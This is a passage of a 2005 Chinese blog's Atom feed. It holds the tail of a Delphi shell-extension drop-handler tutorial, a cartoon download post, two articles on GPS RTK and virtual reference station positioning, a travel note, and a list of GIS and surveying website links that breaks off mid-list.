GUIDToString(Class_DropHandler); <BR><BR>　　　　// 这里我们设定.Dpr文件为我们要处理的文件类<BR><BR>　　　　CreateRegKey('DelphiProject\shellex', '', ''); <BR><BR>　　　　CreateRegKey('DelphiProject\shellex\DropHandler', '', ClassID); <BR><BR>　　　　if (Win32Platform = VER_PLATFORM_WIN32_NT) then <BR><BR>　　　　　with TRegistry.Create do <BR><BR>　　　　　try <BR><BR>　　　　　　RootKey := HKEY_LOCAL_MACHINE; <BR><BR>　　　　　　OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions', True); <BR><BR>　　　　　　OpenKey('Approved', True); <BR><BR>　　　　　　WriteString(ClassID, 'Delphi 4.0 Drop Handler Shell Extension Example'); <BR><BR>　　　　　finally <BR><BR>　　　　　　Free; <BR><BR>　　　　　end; <BR><BR>　　　end <BR><BR>　　　else begin <BR><BR>　　　　DeleteRegKey('DelphiPorject\shellex\DropHandler'); <BR><BR>　　　　DeleteRegKey('DelphiProject\shellex'); <BR><BR>　　　　inherited UpdateRegistry(Register); <BR><BR>　　　end; <BR><BR>　　end; <BR><BR>　　initialization <BR><BR>　　　TDropHandlerFactory.Create(ComServer, TDropHandler, Class_DropHandler, <BR><BR>　　　'', 'Delphi 4.0 Drop Handler Shell Extension Example', ciMultiInstance, <BR><BR>　　　tmApartment); <BR><BR>　　end. <BR><BR>　　最后，编译好DLL后，用命令行 regsvr32 c:\windows\desktop\ drophandle.dll注册扩展。然后，拖放程序试验一下，就会发现生成了我们预想中的文件。<BR><BR>}</P>
<P>&nbsp;</P>
<P>摘:http://www.daima.com.cn/Info/106/Info35068/</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=139" /> 
	  <id>http://www.openx.cn/default.asp?id=139</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[《鼹鼠的故事》]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-10T08:51:30+08:00</updated>
	  <published>2005-11-10T08:51:30+08:00</published>
		  <summary type="html"><![CDATA[<P>来自分享互联的</P>
<P>[img]http://doc.verycd.com/images/logo/lib.png[/img]</P>
<P>地址：<A href="http://lib.verycd.com/2005/07/24/0000058097.html">http://lib.verycd.com/2005/07/24/0000058097.html</A></P>
<P>一共15.5GB</P>
<P>[img]http://img.verycd.com/posts/0509/post-200551-1127465647.jpg[/img]</P>
<P>儿时的回忆-《鼹鼠的故事》<BR>【英文名称】The Mole<BR>【中文名称】鼹鼠的故事<BR>【制作公司】<BR>【国　　家】捷克<BR>【类　　别】动画<BR>【文件格式】xvid + mp3<BR>【视频尺寸】480 x 360<BR></P>
<P>[img]http://www.15y.net/images/39438-20050923170048-3.jpg[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=138" /> 
	  <id>http://www.openx.cn/default.asp?id=138</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[高精度快速定位技术与算法(2)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-09T22:26:11+08:00</updated>
	  <published>2005-11-09T22:26:11+08:00</published>
		  <summary type="html"><![CDATA[<P>1. VRS系统组成<BR>&nbsp;&nbsp;&nbsp;&nbsp;VRS系统包括 3个部分：控制中心，固定站和用户部分<BR>（1）控制中心<BR>&nbsp;&nbsp;&nbsp;&nbsp;控制中心是整个系统的核心，即是通讯控制中心，也是数据处理中心。它通过通讯线 (光缆，ISDN和电话线 ) 与所有的固定参考站通讯，通过无线网络 (GSM, CDMA, GPRS) 与移动用户通讯。由计算机实时系统控制整个系统的运行，所以控制中心的软件GPS- NET即是数据处理软件，也是系统管理软件。 <BR>（2）固定站<BR>&nbsp;&nbsp;&nbsp;&nbsp;固定参考站是固定的GPS接收系统，分布在整个网络中，一个 VRS网络可包括无数个站，但最少要 3个站，站与站之间的距离可达 70 km (传统高精度GPS网络的站间距离不过 1 0～ 2 0 km)。固定站与控制中心之间有通讯线相连，数据实时的传送到控制中心。<BR>（3）用户部分<BR>&nbsp;&nbsp;&nbsp;&nbsp;即用户的接收机，加上无线通讯的调制解调器。根据自己的不同需求，放置在不同的载体上，如：汽车，飞机，农业机器，挖掘机等等。当然测量用户也可以把它背在肩上。接收机通过无线网络将自己初始位置发给控制中心，并接收中心的差分信号，生成厘米级的位置信息。</P>
<P>2. VRS工作原理<BR>&nbsp;&nbsp;&nbsp;&nbsp;与常规RTK不同，VRS网络中，各固定参考站不直接向移动用户发送任何改正信息，而是将所有的原始数据通过数据通讯线发给控制中心。同时，移动用户在工作前，先通过GSM的短信息功能向控制中心发送一个概略坐标，控制中心收到这个位置信息后，根据用户位置，由计算机自动选择最佳的一组固定基准站，根据这些站发来的信息，整体的改正 GPS的轨道误差，电离层，对流层和大气折射引起的误差，将高精度的差分信号发给移动站。这个差分信号的效果相当于在移动站旁边，生成一个虚拟的参考基站，从而解决了 RTK作业距离上的限制问题，并保证了用户的精度。<BR>&nbsp;&nbsp;&nbsp;&nbsp;VRS系统实际上是一种多基站技术，它在处理上利用了多个参考站的联合数据。</P>
<P>3. VRS的优势<BR>（1）VRS覆盖范围<BR>&nbsp;&nbsp;&nbsp;&nbsp;VRS网络可以有多个站，但最少需要 3个。按边长 70 km计算，一个三角形可覆盖面积为 2 1 0 0多 km2。以北京市为例：市区面积 90 0多 km2，那么一个三角形 (3个站)就可以控制整个北京市区。北京全市面积 1.68万 km2，1 0个站就可以完全控制北京全市 。与传统的 GPS网络相比，VRS节约成本近 70 %。实际应用中，VRS系统可提供 2种不同精度的差分信号：厘米级和亚米级。我们所论述的是 1～ 2 cm的高精度，若采用低精度，这个距离 (70 km)可以拓展到几百公里。<BR>（2）主要优势<BR>&nbsp;&nbsp;&nbsp;&nbsp;1) 费用将大幅度降低：70 km的边长使建GPS网络费用大大降低，用户不必再架设自己的基准站。<BR>&nbsp;&nbsp;&nbsp;&nbsp;2) 相对传统 RTK，提高了精度：在VRS网络控制范围内，精度始终在±1－2 cm。<BR>&nbsp;&nbsp;&nbsp;&nbsp;3) 可靠性也随之提高：采用了多个参考站的联合数据，大大提高可靠性。<BR>&nbsp;&nbsp;&nbsp;&nbsp;4) 更广泛的应用领域：城市规划，市政建设，交通管理，机械控制，气象，环保，农业以及所有在室外进行的勘测工作。</P>
<P>4. VRS精度评估检验<BR>&nbsp;&nbsp;&nbsp;&nbsp;VRS网络参考站 4个，边长为70 km左右，移动站距最近的参考站 3 2 km。在这个网络中我们对 VRS的性能进行测试。<BR>(1) VRS初试化性能测试<BR>&nbsp;&nbsp;&nbsp;&nbsp;测试方法为移动站 (距最近的参考站 3 2 km)做初始化，每次初始化后连续输出位置 3 0 s，然后重新启动接收机重新初试化，所有输出的位置存储在外接的计算机中，用以数据分析和统计。测试结果：平均初试化时间57s， 50 %的初试化时间小于 50 s，90 %的初试化时间小于80 s。<BR>(2) VRS精度测试<BR>&nbsp;&nbsp;&nbsp;&nbsp;在该网络中，一段时间内，移动站(3 2 km )采集 2 2 0个初试化位置。测试结果为 2 2 0个位置的平面标准差为 1.8cm。其中90 %的点位误差小于 9mm, 99%的点位误差小于 2 1 mm。实验结论为 VRS RTK 3 2 km基线初试化平均时间小于 1 min，标准偏差仅为 1.8cm，具有常规 RTK所无法比拟的优越性，其多基站算法是 GPS技术的突破。</P>
<P>5. 控制中心软件<BR>&nbsp;&nbsp;&nbsp;&nbsp;GPS-NETWORK软件运行于WINDOWS NT和WINDOWS 2000系统中。操作员可以通过该软件从一台计算机对大型参考站网络进行远程控制并进行数据管理。<BR>&nbsp;&nbsp;&nbsp;&nbsp;GPS参考站软件是完全可升级的，因此，可以有三种不同的配置方式：<BR>&nbsp;&nbsp;&nbsp;&nbsp;配置1：基本的GPS-NETWORK功能。包括以差分方式对整个网络的码和载波数据同时进行处理和QA/QC生成器可以工作于调制解调器，无线网络访问服务器。系统自动从最接近流动站的参考站向呼叫的流动站发送完整性的RTCM检测数据。<BR>&nbsp;&nbsp;&nbsp;&nbsp;配置2：GPS-NETWORK可以运行在差分GPS改正模式，包括配置1中的所有特点，以及从网络中对给定用户位置给出大气和轨道改正值的能力。系统工作于相距100-300KM的双频接收机网络中。这是针对那些不用固定整周模糊度而对"分米级"精度感兴趣的用户。<BR>&nbsp;&nbsp;&nbsp;&nbsp;配置3：此种GPS-NETWORK的配置可以让用户在站间距达到50-70KM的参考站网络中，通过整个网络立功厘米级精度的位置，使RTK测量和建筑机械定位达到最终精度。<BR>&nbsp;&nbsp;&nbsp;&nbsp;WEB服务器：GPS-NETWORK包括一Internet Web服务器备选件，可以非常方便地管理和发布所有已存档的RINEX观测值.导航信息.气象信息.和年历文件。</P>
<P>6. 算法<BR>&nbsp;&nbsp;&nbsp;&nbsp;目前网络 RTK大体可采用内插法、线性组合法及虚拟站等方法进行。<BR>(1) 内插法<BR>&nbsp;&nbsp;&nbsp;&nbsp;1) 各基准站实时地将接收到的观测资料通过数据传输系统送往数据处理中心。这些资料包括卫星导航电文、载波相位观测值、测码伪距观测值及气象资料等。<BR>&nbsp;&nbsp;&nbsp;&nbsp;2) 流动站根据接收到的导航电文和测码伪距观测值进行单点定位，实时求得自己的近似位置 (X u, Y u, Z u)并将它们传送至数据处理中心。<BR>&nbsp;&nbsp;&nbsp;&nbsp;3) 数据处理中心根据动态用户的近似坐标判断出该点究竟位于由哪三个基准站组成的三角形内，并求出从流动站至这三个基准站的距离。若流动站至某一基准站的间距小于规定值 (例如 1 0 km)，则可按常规 RTK技术处理，否则转入下一步进行内插。<BR>&nbsp;&nbsp;&nbsp;&nbsp;4) 设流动站位于三角形ABC内，流动站离基准站 A最近，则取 A点作为计算中的参考点。基准站B和C分别与A点组成双差观测值。<BR>&nbsp;&nbsp;&nbsp;&nbsp;5) 将基准站 A作为参考点，求得上述各系数后，将流动站近似的平面坐标 (Xu, Yu)代入后，即可得到该站内插值。<BR>&nbsp;&nbsp;&nbsp;&nbsp;6) 数据处理中心将各内插值实时播发给动态用户，动态用户就能对双差观测值进行改正。</P>
<P>(2) 线性组合法<BR>&nbsp;&nbsp;&nbsp;&nbsp;1) 各基准站将当前历元时的观测资料通过数据通信链实时传送给数据处理中心。<BR>&nbsp;&nbsp;&nbsp;&nbsp;2) 流动站先利用伪距观测值和卫星星历进行单点定位，求得自己的概略坐标并将其转换为高斯平面坐标(xu, yu)，然后再将该时刻的载波相位观测值和 (xu, yu)值实时传送至数据处理中心。<BR>&nbsp;&nbsp;&nbsp;&nbsp;3) 数据处理中心首先据流动站的近似坐标判断该站位于哪个三角形内，然后计算线性组合的系数。<BR>&nbsp;&nbsp;&nbsp;&nbsp;4) 数据处理中心利用基准站A，B，C的资料解算基线向量 AB和 AC，然后求出残差 VAB和 VAC，再计算常数项 L。<BR>&nbsp;&nbsp;&nbsp;&nbsp;5) 数据处理中心利用流动站 u和基准站 A上的载波相位观测值及求得的常数项 L 组成双差观测方程进行解算，并通过数据通信链将解算出来的流动站坐标播发给动态用户。当然解算双差观测方程的工作也可由动态用户来完成。</P>
<P>(3) 虚拟基准站法<BR>&nbsp;&nbsp;&nbsp;&nbsp;从前面的讨论可知，当流动站离基准站较远时，由于两站间的误差相关性减小，残余的卫星星历误差，电离层延迟，对流层延迟等偏差对相对定位的影响增加，从而使常规RTK的定位精度降低。为解决这一问题，就必须增设一些基准站，以便用户能利用这些基准站所提供的信息采用一定的算法来消除或大幅削弱这些偏差项所造成的影响。<BR>&nbsp;&nbsp;&nbsp;&nbsp;虚拟基准站是网络 RTK中一种很有发展前途的较好的方法。它设法在流动站附近建立一个虚拟的基准站，并根据周围各基准站上的实际观测值算出该虚拟基准站上的虚拟观测值。由于虚拟站离流动站很近，一般仅相距数米至数十米。故动态用户只需采用常规 RTK技术就能与虚拟基准站进行实时相对定位，获得较准确的定位结果。如果网络 RTK的数据处理中心能按照常规 RTK中所用的数据格式来播发虚拟基准站的观测值及站坐标，那么网络 RTK中的动态用户就可用原有的常规 RTK软件来进行数据处理，这是虚拟基准站法的另一优点。<BR>&nbsp;&nbsp;&nbsp;&nbsp;在虚拟基准站法中，动态用户也需根据伪距观测值和广播星历进行单点定位，求得测站的粗略位置并实时将它们传送给数据处理中心。数据处理中心通常就将虚拟基准站 P设在该点上。此时虚拟站 P离真正的流动站 u位置可能相距2 0～ 40 m左右。有的软件还要利用基准站上的伪距观测值对单点定位结果进行一次差分改正，并将虚拟基准站 P设在差分改正后的位置上。此时虚拟站 P离真正的流动站 u的距离一般仅为数米或更近。显然数据处理中心必须在每个观测历元为每个动态用户各建立一个虚拟基准站。虚拟基准站法的关键在于如何构建出虚拟基准站上的观测值。一旦构建出虚拟的观测值，在数据处理时就可把它当作一般的基准站来看待。<BR>&nbsp;&nbsp;&nbsp;&nbsp;当站间距离为 70－1 0 0 km时，用虚拟基准站法进行实时动态定位的精度可达 2－3 cm，且初始化所需的时间也能大为减少。内插法、线性组合法及虚拟基准站法间并无本质上的差别，从理论上讲定位精度也应大体相当。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=137" /> 
	  <id>http://www.openx.cn/default.asp?id=137</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[高精度快速定位技术与算法(1)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-09T22:25:05+08:00</updated>
	  <published>2005-11-09T22:25:05+08:00</published>
		  <summary type="html"><![CDATA[<P align=left>&nbsp;&nbsp;&nbsp;&nbsp;RTK (Real Time Kinematic)技术是GPS实时动态定位技术，它将GPS与数传技术相结合，实时解算并进行数据处理，在 1～ 2s 的时间里得到高精度的位置信息。<BR>&nbsp;&nbsp;&nbsp;&nbsp;常规 RTK技术是一种对动态用户进行实时相对定位的技术，该技术也可用于快速静态定位。进行常规RTK工作时，基准站需将自己所获得的载波相位观测值 (最好加上测码伪距观测值)及站坐标，通过数据通信链实时播发给在其周围工作的动态用户。于是这些动态用户就能依据自己获得的相同历元的载波相位观测值 (最好加上测码伪距观测值)和广播星历进行实时相对定位，并进而根据基准站的站坐标求得自己的瞬时位置。为消除卫星钟和接收机钟的钟差，削弱卫星星历误差、电离层延迟误差和对流层延迟误差的影响，在 RTK中通常都采用双差观测值。</P>
<P align=left>[img]http://geosis.pku.edu.cn/ziyuan/image/yk4.jpg[/img]</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;RTK技术是建立在流动站与基准站误差强相关这一假设的基础上的。当流动站离基准站较近 (例如不超过 1 0～ 1 5km)时，上述假设一般均能较好地成立，此时利用一个或数个历元的观测资料即可获得厘米级精度的定位结果。然而随着流动站和基准站间间距的增加，误差相关性将变得越来越差。轨道偏差，电离层延迟的残余误差和对流层延迟的残余误差项都将迅速增加。从而导致难以正确确定整周模糊度，无法获得固定解。<BR>&nbsp;&nbsp;&nbsp;&nbsp;这项技术始于2 0世纪 90年代初，极大地拓展了GPS的使用空间，代表着高精度GPS的最高水平。但是RTK技术有着一定局限性，当流动站和基准站间的距离大于 50 km时，常规 RTK的单历元解一般只能达到分米级的精度，使其在应用中受到限制：<BR>&nbsp;&nbsp;&nbsp;&nbsp;1. 用户需要架设本地的参考站<BR>&nbsp;&nbsp;&nbsp;&nbsp;2. 误差随距离增长<BR>&nbsp;&nbsp;&nbsp;&nbsp;3. 误差增长使流动站和参考站距离受到限制<BR>&nbsp;&nbsp;&nbsp;&nbsp;4. 可靠性和可行性随距离降低。<BR>&nbsp;&nbsp;&nbsp;&nbsp;在这种情况下为了获得高精度的定位结果就必须采取一些特殊的方法和措施，于是网络 RTK技术便应运而生了。<BR>&nbsp;&nbsp;&nbsp;&nbsp;VRS(Virtual Reference Station)是虚拟参考站，代表GPS网络 RTK技术。它的出现使一个地区的所有测绘工作成为一个有机的整体，扩展了 RTK的作业范围，使GPS的应用更广泛，精度和可靠性也进一步提高。<BR>&nbsp;&nbsp;&nbsp;&nbsp;VRS的出现，得益于现代高科技的发展。它已不仅仅属于GPS的范畴，而是集 Internet技术、无线通讯技术、计算机网络管理和 GPS定位技术于一身的系统。是近年来在常规RTK和差分GPS的基础上建立起来的一种新技术，目前尚处于试验、发展阶段。<BR>&nbsp;&nbsp;&nbsp;&nbsp;如果在一个较大的区域内能稀疏地、较均匀地布设多个基准站，构成一个基准站网，那么我们就能借鉴广域差分GPS和具有多个基准站的局域差分 GPS中的基本原理和方法来设法消除或削弱各种系统误差的影响，获得高精度的定位结果，这就是网络 RTK的基本原理。</P>
<P>[img]http://geosis.pku.edu.cn/ziyuan/image/yk5.jpg[/img]</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;网络 RTK是由基准站网，数据处理中心和数据通信线路组成的。基准站上应配备双频全波长GPS接收机，该接收机最好能同时提供精确的双频伪距观测值。基准站的站坐标应精确已知，其坐标可采用长时间 GPS静态相对定位等方法来确定。此外，这些站还应配备数据通信设备及气象仪器。基准站应按规定的采样率进行连续观测，并通过数据通信链实时将观测资料传送给数据处理中心。数据处理中心根据流动站送来的近似坐标 (可据伪距法单点定位求得)判断出该站位于由哪三个基准站所组成的三角形内。然后根据这三个基准站的观测资料求出流动站处所受到的系统误差，并播发给流动用户来进行修正以获得精确的结果，有必要时可将上述过程迭代一次。<BR>&nbsp;&nbsp;&nbsp;&nbsp;基准站与数据处理中心间的数据通信可采用数字数据网DON或无线通信等方法进行。流动站和数据处理中心间的双向数据通信则可通过移动电活GSM等方式进行。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=136" /> 
	  <id>http://www.openx.cn/default.asp?id=136</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[浙江西塘游]]></title>
	  <author>
		 <name>Tina</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2005-11-09T21:39:50+08:00</updated>
	  <published>2005-11-09T21:39:50+08:00</published>
		  <summary type="html"><![CDATA[哈哈～～偶又到水乡古镇玩了一次，太高兴喽，一个月跑两次，嘿嘿，爽喽！！！]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=135" /> 
	  <id>http://www.openx.cn/default.asp?id=135</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[GIS网站]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-09T09:44:44+08:00</updated>
	  <published>2005-11-09T09:44:44+08:00</published>
		  <summary type="html"><![CDATA[***************一、世界测绘单位网址联络图******************** <BR><BR>世界所有测绘机构一网打尽 <BR><A title=http://oddens.geog.uu.nl/index.html href="http://oddens.geog.uu.nl/index.html" target=_blank>http://oddens.geog.uu.nl/index.html</A> <BR><A title=http://www.lrz-muenchen.de/t583101/www/links.html href="http://www.lrz-muenchen.de/t583101/www/links.html" target=_blank>http://www.lrz-muenchen.de/t583101/www/links.html</A> <BR>世界部分测量学校、公司、机构、出版物资源 <BR><A title=http://www.schoolofgeomatics.com href="http://www.schoolofgeomatics.com/" target=_blank>http://www.schoolofgeomatics.com</A> <BR><A title=http://www.fpk.tu-berlin.de/matthias/url.html href="http://www.fpk.tu-berlin.de/matthias/url.html" target=_blank>http://www.fpk.tu-berlin.de/matthias/url.html</A> <BR>各国大地测量期刊文献 <BR><A title=http://www2.geod.nrcan.gc.ca/craymer/tcg/ href="http://www2.geod.nrcan.gc.ca/craymer/tcg/" target=_blank>http://www2.geod.nrcan.gc.ca/craymer/tcg/</A> <BR>欧洲摄影测量遥感土地测量网址 <BR><A title=http://www.photsoc.org.uk/sites/index.htm href="http://www.photsoc.org.uk/sites/index.htm" target=_blank>http://www.photsoc.org.uk/sites/index.htm</A> <BR>测绘网址词典 <BR><A title=http://www.eng.newca&#115;tle.edu.au/ce/surv/directory.html href="http://www.eng.newca&/#115;tle.edu.au/ce/surv/directory.html" target=_blank>http://www.eng.newca&#115;tle.edu.au/ce/surv/directory.html</A> <BR>台湾web一网打尽 <BR><A title=http://peacock.tnjc.edu.tw/alpha.html href="http://peacock.tnjc.edu.tw/alpha.html" target=_blank>http://peacock.tnjc.edu.tw/alpha.html</A> <BR>欧洲G1网 <BR><A title=http://www.igipz.pan.pl/ksig/gisite/home.htm href="http://www.igipz.pan.pl/ksig/gisite/home.htm" target=_blank>http://www.igipz.pan.pl/ksig/gisite/home.htm</A> <BR>GIS有关的杂志 <BR><A title=http://www.ctmap.com/gisnet/notebook/giszine.htm href="http://www.ctmap.com/gisnet/notebook/giszine.htm" target=_blank>http://www.ctmap.com/gisnet/notebook/giszine.htm</A> <BR>建模与仿真资源 <BR><A title=http://164.214.2.54/sites/ms.html href="http://164.214.2.54/sites/ms.html" target=_blank>http://164.214.2.54/sites/ms.html</A> <BR><A title=http://www.agismap.com/1001 href="http://www.agismap.com/1001" target=_blank>http://www.agismap.com/1001</A> <BR><A title=http://www.zdnet.com/pccomp/webmap/science.html href="http://www.zdnet.com/pccomp/webmap/science.html" target=_blank>http://www.zdnet.com/pccomp/webmap/science.html</A> <BR><BR><BR>********************二、军事测绘******************** <BR><BR><BR>美国国防部国家测绘局 <BR><A title=http://www.nima.mil href="http://www.nima.mil/" target=_blank>http://www.nima.mil</A> <BR>美国陆军工程兵测绘中心 <BR><A title=http://www.tec.army.mil href="http://www.tec.army.mil/" target=_blank>http://www.tec.army.mil</A> <BR>美国军事工程师协会&lt;Engineer&gt;杂志 <BR><A title=http://www.wood.army.mil href="http://www.wood.army.mil/" target=_blank>http://www.wood.army.mil</A> (在搜索引擎中输入关键词"Engineer") <BR>台湾中正理工学院测绘系 <BR><A title=http://www.ccit.edu.tw/surver/ href="http://www.ccit.edu.tw/surver/" target=_blank>http://www.ccit.edu.tw/surver/</A> <BR>台湾中山科学院 <BR><A title=http://www.csist.org.tw href="http://www.csist.org.tw/" target=_blank>http://www.csist.org.tw</A> <BR>美国&lt;Military Infomation Technology&gt;杂志 <BR><A title=http://www.mit-kmi.com href="http://www.mit-kmi.com/" target=_blank>http://www.mit-kmi.com</A> <BR>美国&lt;Signal&gt;杂志 <BR><A title=http://www.us.net/signal href="http://www.us.net/signal" target=_blank>http://www.us.net/signal</A> <BR>美国军事测绘回顾 <BR><A title=http://www.fas.org/spp/military/program/geodetic href="http://www.fas.org/spp/military/program/geodetic" target=_blank>http://www.fas.org/spp/military/program/geodetic</A> <BR>TEC地形可视化分处 <BR><A title=http://www.fas.org/irp/program href="http://www.fas.org/irp/program" target=_blank>http://www.fas.org/irp/program</A> <BR>美国陆军地形可视化研究 <BR><A title=http://www.wood.army.mil/tvc/ href="http://www.wood.army.mil/tvc/" target=_blank>http://www.wood.army.mil/tvc/</A> (Terra Base 软件) <BR>美国解密的卫星影像 <BR><A title=http://edcwww.cr.usgs.gov/dclass.html href="http://edcwww.cr.usgs.gov/dclass.html" target=_blank>http://edcwww.cr.usgs.gov/dclass.html</A> <BR>美国&lt;Aviation Week & Space Technology&gt;杂志 <BR><A title=http://www.aviationweek.com href="http://www.aviationweek.com/" target=_blank>http://www.aviationweek.com</A> <BR>&lt;Jane&acute;s Defense Weekly&gt;周刊 <BR><A title=http://www.janes.com/defense href="http://www.janes.com/defense" target=_blank>http://www.janes.com/defense</A> <BR>美国公开展示的大陆军事基地卫片 <BR><A title=http://www.fas.org/eye/china.htm href="http://www.fas.org/eye/china.htm" target=_blank>http://www.fas.org/eye/china.htm</A> <BR>美国侦察办公室 <BR><A title=http://www.nro.odci.gov/ href="http://www.nro.odci.gov/" target=_blank>http://www.nro.odci.gov/</A> <BR>美国中央情报局 <BR><A title=http://www.odci.gov/index.html href="http://www.odci.gov/index.html" target=_blank>http://www.odci.gov/index.html</A> <BR>美国海岸测量办公室 <BR><A title=http://chartmaker.ncd.noaa.gov/ href="http://chartmaker.ncd.noaa.gov/" target=_blank>http://chartmaker.ncd.noaa.gov/</A> <BR>美国防后勤局硬拷贝数据分发中心 <BR><A title=http://www.dscr.dla.mil/pc9/ href="http://www.dscr.dla.mil/pc9/" target=_blank>http://www.dscr.dla.mil/pc9/</A> <BR>美国情报组织 <BR><A title=http://www.odci.gov/ic/ href="http://www.odci.gov/ic/" target=_blank>http://www.odci.gov/ic/</A> <BR>英国国家测绘局 <BR><A title=http://www.ordsvy.gov.uk href="http://www.ordsvy.gov.uk/" target=_blank>http://www.ordsvy.gov.uk</A> <BR>英国皇家工兵军事测量网页 <BR><A title=http://www.screwsoft.com/today/surver.htm href="http://www.screwsoft.com/today/surver.htm" target=_blank>http://www.screwsoft.com/today/surver.htm</A> <BR>航天飞机雷达地形测绘(SRTM) <BR><A title=http://www.jpl.nasa.gov/srtm href="http://www.jpl.nasa.gov/srtm" target=_blank>http://www.jpl.nasa.gov/srtm</A> <BR>美国海军实验室 <BR><A title=http://www.usno.navy.mil href="http://www.usno.navy.mil/" target=_blank>http://www.usno.navy.mil</A> <BR>美军地形建模计划办公室 <BR><A title=http://164.214.2.54/ href="http://164.214.2.54/" target=_blank>http://164.214.2.54/</A> <BR><A title=http://www.arpa.mil/ href="http://www.arpa.mil/" target=_blank>http://www.arpa.mil/</A> <BR><BR>********************三、国际机构******************** <BR><BR><BR>国际测量工作者联合会(GIG) <BR><A title=http://cesgil.city.ac.uk/figtree href="http://cesgil.city.ac.uk/figtree" target=_blank>http://cesgil.city.ac.uk/figtree</A> <BR>国际重力测量局 <BR><A title=http://www-project.cnes.fr:8100/bgi-debut-a.html href="http://www-project.cnes.fr:8100/bgi-debut-a.html" target=_blank>http://www-project.cnes.fr:8100/bgi-debut-a.html</A> <BR>国际大地测量学协会 <BR><A title=http://www.gfy.ku.dk/iag/ href="http://www.gfy.ku.dk/iag/" target=_blank>http://www.gfy.ku.dk/iag/</A> <BR>国际天文学联合会 <BR><A title=http://www.intastun.org/ href="http://www.intastun.org/" target=_blank>http://www.intastun.org/</A> <BR>国际地球自转局 <BR><A title=http://www.gfy.ku.dk/iag/iers95.txt href="http://www.gfy.ku.dk/iag/iers95.txt" target=_blank>http://www.gfy.ku.dk/iag/iers95.txt</A> <BR>国际GPS用于地球动力学服务局 <BR><A title=http://igscb.jpl.nasa.gov/ href="http://igscb.jpl.nasa.gov/" target=_blank>http://igscb.jpl.nasa.gov/</A> <BR>国际摄影测量与遥感学会 <BR><A title=http://www.p.igp.ethz.ch/isprs/isprs.html href="http://www.p.igp.ethz.ch/isprs/isprs.html" target=_blank>http://www.p.igp.ethz.ch/isprs/isprs.html</A> <BR>国际空间测量与地球科学协会 <BR><A title=http://www.itc.nl/homepage.html href="http://www.itc.nl/homepage.html" target=_blank>http://www.itc.nl/homepage.html</A> <BR>国际大地测量与地球物理联合会 <BR><A title=http://www.obs-mip.fr/uggi/ href="http://www.obs-mip.fr/uggi/" target=_blank>http://www.obs-mip.fr/uggi/</A> <BR>多用途欧洲地面信息网 <BR><A title=http://www.megrin.org/ href="http://www.megrin.org/" target=_blank>http://www.megrin.org/</A> <BR>平均海水面常设机构 <BR><A title=http://www.nbi.ac.uk/psmsl/sea-level.html href="http://www.nbi.ac.uk/psmsl/sea-level.html" target=_blank>http://www.nbi.ac.uk/psmsl/sea-level.html</A> <BR>大地测量与地理信息工作组 <BR><A title=http://www.scar-ggi.org.au/ href="http://www.scar-ggi.org.au/" target=_blank>http://www.scar-ggi.org.au/</A> <BR><BR><BR>********************四、政府机构与学术组织******************** <BR><BR><BR>美国测绘会议 <BR><A title=http://www.survmap.org href="http://www.survmap.org/" target=_blank>http://www.survmap.org</A> <BR>美国地质测量局 <BR><A title=http://www.usgs.gov href="http://www.usgs.gov/" target=_blank>http://www.usgs.gov</A> <BR>美国国家大地测量局 <BR><A title=http://www.ngs.noaa.gov href="http://www.ngs.noaa.gov/" target=_blank>http://www.ngs.noaa.gov</A> <BR>美国国家海洋与大气管理局 <BR><A title=http://www.noaa.gov href="http://www.noaa.gov/" target=_blank>http://www.noaa.gov</A> <BR>戈达德宇航中心 <BR><A title=http://saenifs.gsfc.nass.gov/scripts/seawif.html href="http://saenifs.gsfc.nass.gov/scripts/seawif.html" target=_blank>http://saenifs.gsfc.nass.gov/scripts/seawif.html</A> <BR>美国国家地理信息与分析中心 <BR><A title=http://blackbird.spatial.maine.eduh href="http://blackbird.spatial.maine.eduh/" target=_blank>http://blackbird.spatial.maine.eduh</A> OR <A title=http://www.sgi.ursus.edu/gisweb href="http://www.sgi.ursus.edu/gisweb" target=_blank>http://www.sgi.ursus.edu/gisweb</A> <BR>美国国家地理数据中心 <BR><A title=http://www.ngdc.noaa.gov/seg/globsys/state.html href="http://www.ngdc.noaa.gov/seg/globsys/state.html" target=_blank>http://www.ngdc.noaa.gov/seg/globsys/state.html</A> <BR>全球土地信息系统 <BR><A title=http://sunl.cr.usge.gov/glis/glis.html href="http://sunl.cr.usge.gov/glis/glis.html" target=_blank>http://sunl.cr.usge.gov/glis/glis.html</A> <BR>NASA网站 <BR><A title=http://earth.jsc.nasa.gov href="http://earth.jsc.nasa.gov/" target=_blank>http://earth.jsc.nasa.gov</A> <BR><A title=http://observe.ivv.nasa.gov href="http://observe.ivv.nasa.gov/" 